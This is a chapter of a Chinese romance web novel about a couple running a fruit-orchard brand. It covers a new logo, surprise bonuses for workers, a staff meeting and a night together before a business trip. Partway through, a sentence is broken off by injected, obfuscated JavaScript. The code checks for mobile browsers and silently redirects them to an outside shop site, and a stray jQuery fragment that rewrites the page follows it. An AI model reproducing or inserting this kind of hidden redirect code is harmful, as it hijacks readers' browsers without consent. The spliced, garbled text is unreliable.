林知夏是被阳光晃醒的。
窗帘没拉严实，一道金色的光从缝隙里挤进来，正好落在她眼皮上。
她翻了个身，把脸埋进枕头里。
平常她都会在床上赖一会儿再起来，今天她伸了个懒腰之后，就坐了起来，开始换衣服，洗漱。
走出房间的时候，隔壁的门也正好开了。
两个人同时探出头，目光撞在一起。
路承周穿着一件深灰色的休闲T恤，额前几缕碎发垂下来，整个人看起来比平时柔软了很多。
他看到她的一瞬间，嘴角弯了一下。
“早。”他说。
“早。”她说。
两个人站在各自的房门口，隔着一步的距离，看着对方，脸上都是蜜。
路承周伸出手，她下意识地把手递过去，两个人的手指交握在一起，牵着手走下楼梯。
奶奶正在厨房里盛粥，听到脚步声探出头来，看着两个人手牵手走下来，笑呵呵地转回厨房，声音从里面飘出来：“最近家里像灌了蜜，空气甜丝丝的。”
林知夏和路承周听着奶奶故意这样讲话，觉得可爱，都从心底冒出了笑。
三个人围着桌子坐下来。
奶奶舀了一勺粥，慢慢吹了吹，送进嘴里，嚼着嚼着又笑了。
林知夏偷偷看了一眼旁边的路承周，他正在夹菜，似乎是感觉到了她的目光，偏头看了她一眼，嘴角弯了一下。两个人同时移开视线，又同时偷偷笑了。
宋时安的声音从院门口传来：“早。”
路承周放下筷子，看着宋时安，说：“隔壁昨天下午收拾了一下，有一小块区域可以先拿来办公了。”
宋时安点了点头，“我刚刚过去看过了。非常ok。”他顿了顿，嘴角微微弯了一下，“但是，整个公司只有我一个人上班，是这个意思吗？”
林知夏愣了一下，然后笑得差点呛到。
“你吃过了吗？”林知夏问。
“吃过了。”宋时安在院子里的竹椅上坐下来，“你们慢慢吃，不急。”
林知夏低下头，加快了扒饭的速度。路承周也吃得比平时快了一些。两个人几乎同时放下碗筷，同时说了句“吃好了”。
隔壁院子一楼靠窗的那间屋子，已经简单收拾过了。
一张长桌，几把椅子，墙上钉了一块白板，角落里放着一台打印机。阳光从窗户照进来，把整间屋子照得亮堂堂的。
宋时安把文件夹摊开，从里面抽出几张纸，整齐地摆在桌上。
“Logo的几个方案，你们看一下。”
纸上画着几个Logo草图。
第一个，是一颗被咬了一口的番茄。
第二个，是一个半圆弧线，像山，也像田埂，弧线下面写着“兰叙果园”四个字。温润、安静，像一幅水墨画。
第三个，是一朵兰花，花瓣用很细的线条勾勒，花瓣中间藏着一颗小小的番茄。
林知夏的目光停在三个Logo上，看了很久。路承周也看了很久。
“第二个吧。”两个人同时开口，又同时看了对方一眼。
宋时安笑了。“我也觉得第二个最好。”
他翻开另一页，是产品包装的效果图。
番茄软糖的包装是小小的方形盒子，透明，能直接看到里面金黄色的软糖。盒子上印着兰叙果园的Logo。
草莓果冻的包装是圆形的透明杯，能看到里面一层果冻一层草莓。杯盖上印着Logo，侧面写着配料表，草莓、水、海藻胶、冰糖。
金妃果泥的包装是最简单的，像果酱瓶，矮矮胖胖的，很可爱。标签上画着一颗剥开的金妃番茄，汁水饱满的样子，让人看了就想尝一口。
宋时安把效果图一张一张地排开，从桌子这头铺到那头。阳光落在纸上，那些Logo、那些包装、那些设计细节，在光线下显得格外精致。
路承周拿起一张张效果图，看了很久，放下，点了点头。“就按这个方向做。”
宋时安：“行。那我先按这个样子去做一些样品回来。”
一周后，工人在地头打包的时候，第一批印着Logo的新包装盒到了。
阳光落在盒子上，兰叙果园四个字亮闪闪的，像是终于有了身份。
分拣的大姐拿起一个盒子，翻来覆去地看了好几遍。
“哎哟，这包装真好看。”她举给旁边的人看，“你们看，这是咱们的牌子，兰叙果园。”
另一个大妈凑过来，眯着眼睛看了半天。“比赵铁柱那边强多了，那边连个正经包装都没有，拿个塑料袋一装就完事。”
“可不是嘛。”大姐把盒子小心地放好，像在放什么珍贵的东西，“我就说当时来这边没错吧？你看看，有正经办公室，有正经包装，老板又和气，活还越来越多。这不比在那边受气强？”
一个大叔在旁边点头，把一箱刚封好的盒子搬到托盘上，直起腰擦了擦汗。“而且你看咱两位老板，两个人都有福相。一看就是把生意能做大的。”
几个工人你一言我一语，手上的活没有停，但脸上的笑容一直没有落下去。
……
小芳站在院门口，手里攥着手机，脸上表情复杂，有高兴，有不安。
“知夏姐。”她走进来，把手机递到林知夏面前，“这个月工资，你怎么给我多发了这么多？是不是搞错了？”
林知夏接过手机，低头看了一眼银行发来的短信。数字比平时多出了一大截。她看了几秒，嘴角弯了起来，把手机还给小芳。
“没搞错。这是这个季度的奖金。”
小芳愣住了，嘴巴微微张着，眼珠子瞪得像两颗乒乓球。“奖、奖金？”
“对啊。”林知夏说得理所当然，“产品卖得好，给大家发了奖金。你们那么辛苦，该给的都要给。”
小芳低下头，又看了一眼那条短信，又看了一眼。她的手指在屏幕上轻轻划了一下，像是怕那条消息会消失似的。
“这么多……”她的声音有点抖，“知夏姐，这、这也太多了吧？”
林知夏笑了。
小芳把手机贴在胸口，眼眶红了，但嘴角翘得高高的。“我刚才看到这个数字，以为发错了，忐忐忑忑了一路，想着这钱不能要，得还回来。现在……”她吸了吸鼻子，“哎呀，真宝贝。”
她正美滋滋地翻来覆去看着那条短信，脸上挂着那种“天上掉馅饼正好砸中我”的笑容。院门外传来脚步声，两个身影一前一后走进来。是分拣组的大姐和包装组的大妈，两个人走得很慢，你推我一下、我推你一下，像是在互相壮胆。
“知夏啊。”大姐先开口了，搓了搓手，脸上的表情一看就是经过了挣扎和商量，最后还是决定要来把话说清楚，“有个事儿啊。这个月的工资，好像不太对。”
大妈在旁边猛点头，从口袋里掏出一张皱巴巴的工资条，递过来。
“多了好多钱。我一看，可高兴了。但高兴完了想想不对，这钱拿着心里不踏实。”她看了大姐一眼，大姐也看了她一眼，两个人同步地点了点头，“我们还是决定过来问一问，是不是哪里搞错了。”
林知夏接过工资条，看了一眼，又看了看小芳。小芳也正在看她，两个人的目光撞在一起，嘴角都弯了一下。
“没搞错。”林知夏把工资条还给大妈，“是这个季度的奖金。”
空气安静了一瞬。两个女人站在那里，嘴巴微微张着，眼珠子瞪得大大的。
“咱们……还有奖金呢？”大妈的声音像从很远的地方飘过来的。
“当然有。”林知夏看着她们，认真地说，“你们那么辛苦，种出这么好的水果，还那么努力地加班加点。该给你们的，都会给你们的。”
大姐低下头，看着那张工资条，手指在上面轻轻摸了摸，像在摸什么很珍贵的东西。
“我就说嘛……”大妈转过头看着大姐，声音有点哑，“我就说来这边没错吧。”
大姐吸了吸鼻子，笑着点了点头。两个人在院门口站了一会儿，像是需要一点时间来消化这个从天而降的好消息。然后大妈忽然一拍大腿，整个人像被点燃了一样。
“哎呀！我得回去把这个好消息告诉我家男人！”她转身就要往外走，走了两步又折回来，探着头问，“知夏，你们这儿还缺不缺人？我让他也过来吧！”
大姐也在旁边附和：“对对对，我家那口子也想过来，一直问我们这边还缺不缺人？”
林知夏想了想，点了点头。“缺。我们现在规模越扩越大，产品线那边也需要人。你们让他来吧。”
两个女人高兴得差点跳起来。大妈拉着大姐的手，两个人叽叽喳喳地说着什么，说什么“当初来的时候还担心”，说什么“这世上还是有好人有好报的”，说什么“做了一辈子好事，福报终于来了”。声音渐渐远去，消失在院门外。
小芳还站在原地，手里攥着手机，脸上的笑容怎么都压不下去。她看着林知夏，想说谢谢，又觉得谢谢太轻了。
“知夏姐。”她终于开口了。
“嗯？”
“我当初来的时候，村里有人跟我说，你别去，那边不靠谱。”小芳低下头，看着手机屏幕上那条短信，“我现在真想回去跟她们说，你们才不靠谱。”
林知夏笑了。
小芳也笑了，对林知夏说：“那我先走了。”
林知夏点了点头。
小芳转身走了两步，又折回来，抱了林知夏一下，然后松开，小跑着出了院子。林知夏站在院子里，看着小芳跑远的背影，嘴角的弧度一直没放下来。
她转身上楼，走到路承周的房间门口，敲了敲门。
没有回应。
她等了几秒，又敲了敲。
门从里面打开了。
路承周站在门口，一只手撑着门框，头发有点乱，额前的碎发垂下来，遮住了一半额头。
他的眼睛还没完全睁开，睫毛微微垂着，像一只刚睡醒的的猫。
深色上衣的领口微微敞开，露出锁骨和一小截线条分明的颈线。整个人散发着一种未经修饰的、原生态的男性荷尔蒙。不是平时那种冷静克制的帅，是一种更原始的、更松弛的、让人心脏猛地一跳的帅。
林知夏愣住了。眼珠子不知道该往哪里放。
她看着他的脸，又从他的脸看到他的锁骨，又从他的锁骨看到他的肩膀，又从他的肩膀看到他的手，修长的手指，骨节分明，撑在门框上，指节微微泛白。
她突然忘了自己来找路承周是要说什么的。
“早。”林知夏终于挤出了一个字。
路承周看着她，嘴角弯了一下，从门框上直起身，往前走了一小步。
两个人之间的距离一下子拉近了，近到林知夏能闻到他身上干净的味道，带着一点点体温。
他低下头，轻轻吻住了她。
林知夏闭上眼睛，感受他柔软的嘴唇，带着一点点清晨的凉意。
他退开一点点，鼻尖碰着她的鼻尖，呼吸交缠在一起。
他笑了一下，一种很满足的笑容。像是这一天才刚刚开始，但已经够了。
“早。”他说。
林知夏睁开眼，看着他。
看到因为自己太久没有说话而对她露出一点点疑惑的路承周，林知夏说了一句：“懒猪，今天怎么睡到这么迟？”
路承周揉了揉自己的头发，说：“昨天晚上想了一些方案。想着想着，就很晚才睡。”
“什么方案？”林知夏问。
路承周看着她在晨光里泛着柔和光泽的头发，伸出手，轻轻地拨了一下她额前的碎发，别到耳后。然后忍不住又亲了她一口，显然此刻除了亲林知夏，没有心思做别的。
“回头再跟你说。”
刚刚重新回到脑海的话，又被融化得晕乎乎的，林知夏觉得这样一大早就不知天地为何物的状态不行啊，于是伸出手，在路承周的胸口锤了一下。
路承周：？
“你去洗漱一下，”她说，“我有事要跟你说。我们等一下楼下谈。”
路承周看着抓住理智、快速离开的林知夏的身影，笑了笑。
“好。”他说。
“小芳和大姐她们来了。”路承周下楼的时候，林知夏坐在院子里的石凳上对他说。
路承周在她对面坐下来。
林知夏把刚才的情况简单说了一下。“她们以为我们发错工资了，忐忑了一路，想把钱退回来。后来我跟她们说是奖金，高兴得不行。”她顿了顿，看着路承周，“我觉得我们应该跟大家说明一下。不然每个人都这样忐忑不安，钱拿得不踏实。”
路承周点了点头。“开个会吧。正好让大家看看新的办公室。”
“我也是这么想的。”
不到一个小时，新办公室的屋子里就站满了人。
工人们三三两两地走进来，有人好奇地东张西望，摸着墙上新钉的白板，有人站在门口犹豫了一下才敢迈进来。
“这是路老板以前住的地方？”分拣组的大姐小声问旁边的人。
“可不是嘛，现在改造成办公室了。你看这桌子，这椅子，还有这白板，跟电视里演的那些公司一样。”
“哎呀，真像样。”
小芳一个一个地数人头，数完了走到林知夏面前，说：“人都到齐了。”
林知夏点了点头，走到前面。所有人的目光齐刷刷地落在她身上。
“今天叫大家来，是有件事要跟大家说。”她的声音不大，但屋子里每个人都听得清清楚楚，“今天早上，有好几位同事来问我，说这个月的工资怎么多了这么多，是不是发错了。”
人群里传来几声笑。
“我现在统一跟大家说明一下。”林知夏的语速不快不慢，“多出来的这部分，是这个季度的奖金。我们这个季度产品卖得好，大家辛苦了。”她顿了顿，目光从每一个人脸上扫过去，“奖金按照岗位和绩效来分，分拣、包装、种植、运输，每个岗位的比例不一样。干得好，以后每个季度都会有。”她抬起头，看着那些被晒得黝黑的、带着期待的脸，“而且会越来越多。”
屋子里安静了一瞬。所有人都在消化这个好消息。
然后，人群里传来一个声音，闷闷的，从喉咙里挤出来的那种。
“太好了……我能给我家娃多买些肉吃了。”
说话的是包装组的阿芬。
她站在人群中间，眼眶红红的，眼泪在眼眶里打转，忍着没掉下来。
旁边的人看着她，没有人笑她，因为大家都懂，她的男人在外面打工，一年回来一次。她自己一个人在村里带两个孩子，大的上小学，小的还没断奶。每天天不亮就起来，把孩子送到邻居家，然后赶到地里干活。晚上回去还要做饭、洗衣服、哄孩子睡觉。她的头发总是乱糟糟的，衣服上总有洗不掉的污渍，但她的活从来没有落下过，分拣的筐子永远码得整整齐齐。
“我家两个娃，大的那个老说想吃肉。”她的眼泪终于掉下来了，用手背擦了一下，又掉了，“我每次都跟他说，等妈妈发了工资就买。发了工资，买了肉，交完水电费，剩下的钱只够买两斤。两斤肉，两个孩子分着吃，一人没几块。”她吸了吸鼻子，声音抖得不成样子，“现在好了。我可以多买几斤了。让他们吃个够。”
小芳从人群后面走过来，递了一张纸巾给她。阿芬接过去，擦了擦眼睛，笑了。笑得眼泪还在流，但嘴角是翘着的。
屋子里安静了一瞬。然后不知道是谁先鼓的掌，稀稀拉拉的，然后越来越多，越来越响。不
林知夏看着阿芬，看着那些工人们晒得黝黑的脸，看着他们粗糙的、满是茧子的手，看着他们眼睛里亮亮的闪着希望的光。
林知夏内心涌动着感慨，说了句：“我们会越来越好的。”
人群里有人喊了一声：“对！越来越好！”
会议结束，人群散了。
阿芬还在擦眼泪，小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578785|204667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
芳挽着她的胳膊，笑着跟她说什么。两个人慢慢地往门口走。
林知夏站在窗前，看着那些背影，看了很久。每一个人的脚步都比来的时候轻快了一些，腰板挺得比来的时候直了一些。
路承周站在她旁边，陪着她一起。
“路承周。”她忽然开口，声音不大，但很认真。
“嗯。”
她转过头看着他，“我现在真的很想做全国最大的果农。”
路承周看着她。阳光落在她脸上，她的眼睛亮亮的，鼻尖红红的。
“嗯。”他的嘴角弯了一下。随后，他看着她的眼睛，声音比平时低了一点，说：“有件事，我想跟你商量。”
路承周看着她，沉默了片刻，像是在斟酌怎么开口。
“我想去谈一些集团性的合作。”他说，声音不高不低，“我这段时间线上聊过过几家，现在到了可以推进的阶段。如果谈下来，兰叙果园就不是只在直播间里卖了。是进超市、进酒店、进企业的采购清单。规模会翻倍，品牌会真正立住。”
林知夏没有说话，安静地听着。风吹过来，把她的头发吹到脸上，她没有拨开。
路承周：“如果只是想做个还行的果园，我们现在就可以停下来。但如果想做得更大……”他看着她，“这一步必须走。”
林知夏低下头，虽然脑袋乱乱的，但还是尽力思考路承周的话。
她比谁都清楚，现在的兰叙果园只是刚刚站稳了脚跟。工人们的生活确实改善了一些，阿芬能给娃多买几斤肉了，但那只是“几斤肉”，不是“想买什么就买什么”。小芳不用再为孩子的学费发愁了，但那只是“不用发愁”，不是“想去哪所学校就去哪所”。
还远远不够。
“要去多久？”她问。
“至少一周。”
“什么时候走？”
“明天。”
林知夏的手指攥了一下。
明天，这么快。
她的嘴唇动了一下，很想说“我跟你一起去”，但说不出来。
她明白路承周为什么没有邀她一起去，这里还有很多事情需要一个人留下来管理。
路承周看着她，她的嘴唇微微抿着，舍不得，却一个字都没说。
他伸出手，把她拉进怀里。
“我也舍不得你。”路承周的声音从她头顶温柔地落下来。
林知夏将脸贴着他的胸口，委屈巴巴地弯了弯嘴角。
“我会每天打电话。”他说。
“嗯。”
“你要接。”
林知夏赌气地说：“才不要，我很忙的。”
路承周笑着，用手托起她的下巴，轻轻咬了一下她的脸颊。“你接不接？”
“不接。”
路承周吻住她，轻轻地啃咬了一下，舌头纠缠在一起。他退开一点点，鼻尖碰着她的鼻尖，声音低哑：“接不接？”
林知夏摇头，又被吻住。她的手在他胸口锤了一下，又锤了一下，锤到最后变成了攥着他衣襟的手指，指节泛白。
两个人终于分开，气喘吁吁地对视了一瞬，然后同时笑了。笑声在月光里散开，把那种即将分离的伤感暂时压了下去。
当天晚上，林知夏躺在床上翻来覆去睡不着。
月光从窗帘的缝隙里挤进来，在天花板上投下一道细细的白线。她盯着那道白线，数羊，也不知道数到了第几只，因为满脑子都是路承周明天要走的事。
她翻了个身，把被子拉到下巴，盯着那扇门。
隔壁就是他的房间。
他睡了没有？
她拿起手机，看了一眼时间，凌晨一点。
打开和他的对话框，打了几个字，又删掉，又打，又删掉。最后什么都没发，把手机扣在床头柜上，翻了个身，又翻了个身。
她坐起来，穿上拖鞋，走到隔壁门口。门缝里透出一线光，他还没睡。她深吸一口气，抬手敲了敲门。
门开了。路承周站在门口，行李箱打开放在地上，基本已经装好。
“睡不着？”他问。
林知夏站在门口，看着他的脸，看着那张明天就要离开的脸，鼻子忽然酸了。
“我舍不得你。”她的声音小得像蚊子叫，小到她自己都快听不到了。但路承周听到了。
他伸出手，把她拉进房间，轻轻关上了门。
林知夏背靠着门，路承周站在她面前，两个人在昏暗的灯光下对视。
“我也舍不得你。”他将林知夏抱进怀里，下巴抵着她的头顶，手臂收紧。
两个人抱了很久，之后，路承周低头，吻住了林知夏的嘴唇。
这个吻比以往任何时候都要深，都要久，带着离别前的不舍和占有欲。
林知夏的手指攥着他胸口的衣襟，攥得指节泛白，又松开，滑到他的肩膀，又滑到他的脖子。
路承周的手从她的腰侧滑到她的后背，隔着薄薄的睡衣，她能感觉到他掌心的温度，烙在她的皮肤上。
他的手掌很大，几乎覆盖了她整个后背，指尖微微用力，把她往怀里压。
“知夏。”他叫她，声音低哑。
“嗯。”
“可以吗？”他的额头抵着她的，呼吸落在她脸上，又热又烫，“如果你说不，我就在这里停下来。”
林知夏看着他。
她的心跳快得像擂鼓，耳朵里嗡嗡作响，脸烫得像发了烧。
但她没有犹豫。
她伸出手，握住他的手，十指穿过他的指缝，扣紧。然后她踮起脚尖，在他耳边说了一个“嗯。”
很轻，但路承周听到了。
他把她抱起来，她的腿环住他的腰，手搂着他的脖子，脸埋在他的肩窝里。
他的肩膀很宽，能把她整个藏起来。他把她放在床上，床单是新换的，有阳光晒过之后的味道，暖暖的。
他的手臂撑在她两侧，把她罩在身下。他看着她，她也看着他。四目相对，两个人的呼吸都很乱，心跳快得像要从胸口蹦出来。
路承周低下头，吻住了她。
从眉心到鼻尖，从鼻尖到嘴唇，从嘴唇到下巴，到锁骨。他的吻像雨点，密密匝匝地落下来，每一处被吻过的地方都像着了火。
林知夏闭上眼睛，手指穿进他的头发，他的头发凉丝丝的，和他的体温形成鲜明的对比。
他的手从她的腰侧滑到她的腰窝，掌心贴着她的皮肤，慢慢地、一寸一寸地往下。林知夏的呼吸急促起来，胸口剧烈地起伏着……
房间里只有两个人的喘息声，越来越重，越来越急。林知夏的指甲陷入他后背的肌肉里，留下浅浅的月牙形的印记。他的肩胛骨在她手心下起伏，像翅膀，每一次扇动都带着她飞得更高。
她咬住嘴唇，不想发出声音，但喉咙深处还是溢出了像小猫一样的呜咽。
路承周停下来，看着她。她的眼睛半睁半闭，睫毛上沾着不知道是汗水还是泪水的东西，亮晶晶的，像碎掉的星星。他的拇指轻轻按在她嘴唇上，把她咬住的嘴唇从齿间解救出来。
“我想听。”他说。
林知夏把脸偏到一边，不敢看他，把那些声音都咽进了他的肩窝里。
房间里的声音从急促变得平缓，从平缓变得安静。最后只有两个人的呼吸，交缠在一起，分不清是谁的。
过了很久，林知夏抬头看着路承周，月光落在他的脸上，把他的轮廓照得格外分明。她伸出手，用指尖描了一下他眉骨的弧度，又描了一下他鼻梁的弧度，又描了一下他嘴唇的弧度。
他握住她的手，放在唇边，轻轻吻了一下。
“睡吧。”他说。
林知夏缩进他怀里，把脸贴着他的胸口。他的手臂环着她，下巴抵着她的头顶。他的心跳从她耳朵传进来，一下，一下，又一下。
“等我回来。”他说，声音很轻。
她在他怀里动了动，像一只找到了窝的小猫，蹭了蹭他的胸口，“嗯。”